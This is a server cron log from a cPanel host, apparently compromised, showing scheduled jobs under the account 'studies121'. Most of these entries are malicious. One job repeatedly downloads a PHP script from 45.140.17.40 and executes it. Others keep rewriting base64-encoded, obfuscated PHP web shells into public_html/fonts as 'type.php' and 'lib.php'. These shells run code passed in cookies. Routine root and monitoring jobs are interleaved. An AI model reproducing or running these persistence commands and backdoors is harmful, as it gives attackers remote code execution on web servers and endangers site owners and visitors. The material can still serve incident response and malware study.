Sep 20 18:22:01 ip-184-168-122-23 CROND[30980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:22:01 ip-184-168-122-23 CROND[30981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:22:01 ip-184-168-122-23 CROND[30982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:22:01 ip-184-168-122-23 CROND[30988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:23:01 ip-184-168-122-23 CROND[31223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:23:01 ip-184-168-122-23 CROND[31222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:23:01 ip-184-168-122-23 CROND[31224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:23:01 ip-184-168-122-23 CROND[31228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:24:01 ip-184-168-122-23 CROND[31471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:24:01 ip-184-168-122-23 CROND[31474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:24:01 ip-184-168-122-23 CROND[31475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:24:01 ip-184-168-122-23 CROND[31472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:24:01 ip-184-168-122-23 CROND[31473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31804]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:25:01 ip-184-168-122-23 CROND[31810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:25:01 ip-184-168-122-23 CROND[31817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:26:01 ip-184-168-122-23 CROND[32053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:26:01 ip-184-168-122-23 CROND[32054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:26:01 ip-184-168-122-23 CROND[32057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:26:01 ip-184-168-122-23 CROND[32059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:26:01 ip-184-168-122-23 CROND[32058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:27:01 ip-184-168-122-23 CROND[32298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:27:01 ip-184-168-122-23 CROND[32302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:27:01 ip-184-168-122-23 CROND[32301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:27:01 ip-184-168-122-23 CROND[32300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:28:01 ip-184-168-122-23 CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:28:01 ip-184-168-122-23 CROND[32546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:28:01 ip-184-168-122-23 CROND[32548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:28:01 ip-184-168-122-23 CROND[32549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:28:01 ip-184-168-122-23 CROND[32550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:29:01 ip-184-168-122-23 CROND[344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:29:01 ip-184-168-122-23 CROND[345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:29:01 ip-184-168-122-23 CROND[346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:29:01 ip-184-168-122-23 CROND[347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:30:01 ip-184-168-122-23 CROND[706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:30:01 ip-184-168-122-23 CROND[711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:30:01 ip-184-168-122-23 CROND[714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:30:01 ip-184-168-122-23 CROND[709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:30:01 ip-184-168-122-23 CROND[715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:30:01 ip-184-168-122-23 CROND[717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:30:01 ip-184-168-122-23 CROND[718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:30:01 ip-184-168-122-23 CROND[712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:31:01 ip-184-168-122-23 CROND[979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:31:01 ip-184-168-122-23 CROND[981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:31:01 ip-184-168-122-23 CROND[983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:31:01 ip-184-168-122-23 CROND[982]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 18:31:01 ip-184-168-122-23 CROND[984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:32:01 ip-184-168-122-23 CROND[1233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:32:01 ip-184-168-122-23 CROND[1237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:32:01 ip-184-168-122-23 CROND[1238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:32:01 ip-184-168-122-23 CROND[1235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:32:01 ip-184-168-122-23 CROND[1236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:33:01 ip-184-168-122-23 CROND[1560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:33:01 ip-184-168-122-23 CROND[1561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:33:01 ip-184-168-122-23 CROND[1562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:33:01 ip-184-168-122-23 CROND[1563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:34:01 ip-184-168-122-23 CROND[1818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
